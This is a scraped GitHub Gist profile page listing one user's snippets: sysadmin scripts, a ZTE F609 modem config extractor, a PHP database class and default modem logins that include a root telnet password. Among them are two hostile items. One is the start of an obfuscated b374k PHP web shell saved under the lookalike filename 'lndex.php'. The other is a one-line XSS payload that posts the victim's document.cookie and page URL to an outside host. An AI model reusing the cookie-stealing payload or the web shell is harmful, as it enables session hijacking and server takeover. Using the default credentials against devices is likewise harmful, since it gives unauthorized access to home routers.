Skip to content

Instantly share code, notes, and snippets.

💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
Block or report user

Report or block ndunks

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ndunks
ndunks / histat-fast-load.html
Created May 13, 2018
Histat Code quick load
View histat-fast-load.html
<!-- OLD CODE: -->
<!-- Histats.com START (aync)-->
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,3630122,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
@ndunks
ndunks / install-kimchi-ubuntu18.04.sh
Created May 12, 2018
Install kimchi on ubuntu 18.04 bionic
View install-kimchi-ubuntu18.04.sh
#For Indonesian server
#locale fix
sudo locale-gen id_ID.UTF-8
#change miror
sudo sed -i_old 's/archive.ubuntu.com/kambing.ui.ac.id/' /etc/apt/sources.list
sudo apt update
#INSTALL WOK
#build depencies
@ndunks
ndunks / dnsmasq-wlan
Created May 5, 2018
Start dnsmaq when connected to wifi
View dnsmasq-wlan
#!/bin/bash
# Write file /etc/network/if-up.d/ and link to /etc/network/if-post-down.d/
# by default, scripts on that directories will be triggered by NetworkManager
PID="/var/run/dnsmasq/wlan.pid"
WLAN="wlan0"
DNSMASQCONF="/etc/dnsmasq.conf"
IP=$(ifconfig $WLAN | sed -En 's/.*inet ([0-9\\.]+) .+/\1/p')
ME="$IFACE-dnsmasq:"
@ndunks
ndunks / zte_extract.py
Created Mar 23, 2018
Modem Indihome ZTE F609 Config Extract and Repack
View zte_extract.py
#!/usr/bin/env python
# https://reverseengineering.stackexchange.com/a/13395
import sys
import binascii
import struct
import zlib
if (len(sys.argv) <= 1):
print('USAGE:\n%s [configBak.cfg|config.bin]' % sys.argv[0])
exit(1)
@ndunks
ndunks / modem-indihome-zte
Created Mar 21, 2018
Default login telnet/webuser modem indihome ZTE F609
View modem-indihome-zte
webuser
=======
admin:admin
admin:Telkomdso123
user:user
telnet
======
root:Zte521
@ndunks
ndunks / ZTE-F609.md
Last active Feb 16, 2018
Manual help untuk Modem Indihome TELNET ZTE F609
View ZTE-F609.md

Telnet Manual Modem Indihome

Saya sering lupa, jadi tulis aja di gist.

Login Root via Telnet

telnet 192.168.1.1
login: root
pass : Zte521
View wp-shell.sh
for dir in `find ~/apps/* -maxdepth 0 -type d`
do
grep -Rl --include "*.php" "eval(" "$dir/public/"
done
@ndunks
ndunks / DB.php
Created Dec 8, 2017
PHP DB Class for MySQL
View DB.php
<?php
class DB
{
var $con = null;
var $result = null;
var $has_result = false;
var $error = false;
var $last_query;
var $affected_rows;
@ndunks
ndunks / lndex.php
Last active Nov 28, 2017
b374k.shell
View lndex.php
<?php $GLOBALS[
'pass'
]
=
'0f3b857e0125444e99a15f41c07eb315d26a00f0';
$FF
='cre'.
'ate'.
'_fun'.
'cti'.
View XSS.JS
$.post('http://allspecification.net/kctmp/xss.php',{url: document.location.href, cookie: document.cookie});
You can’t perform that action at this time.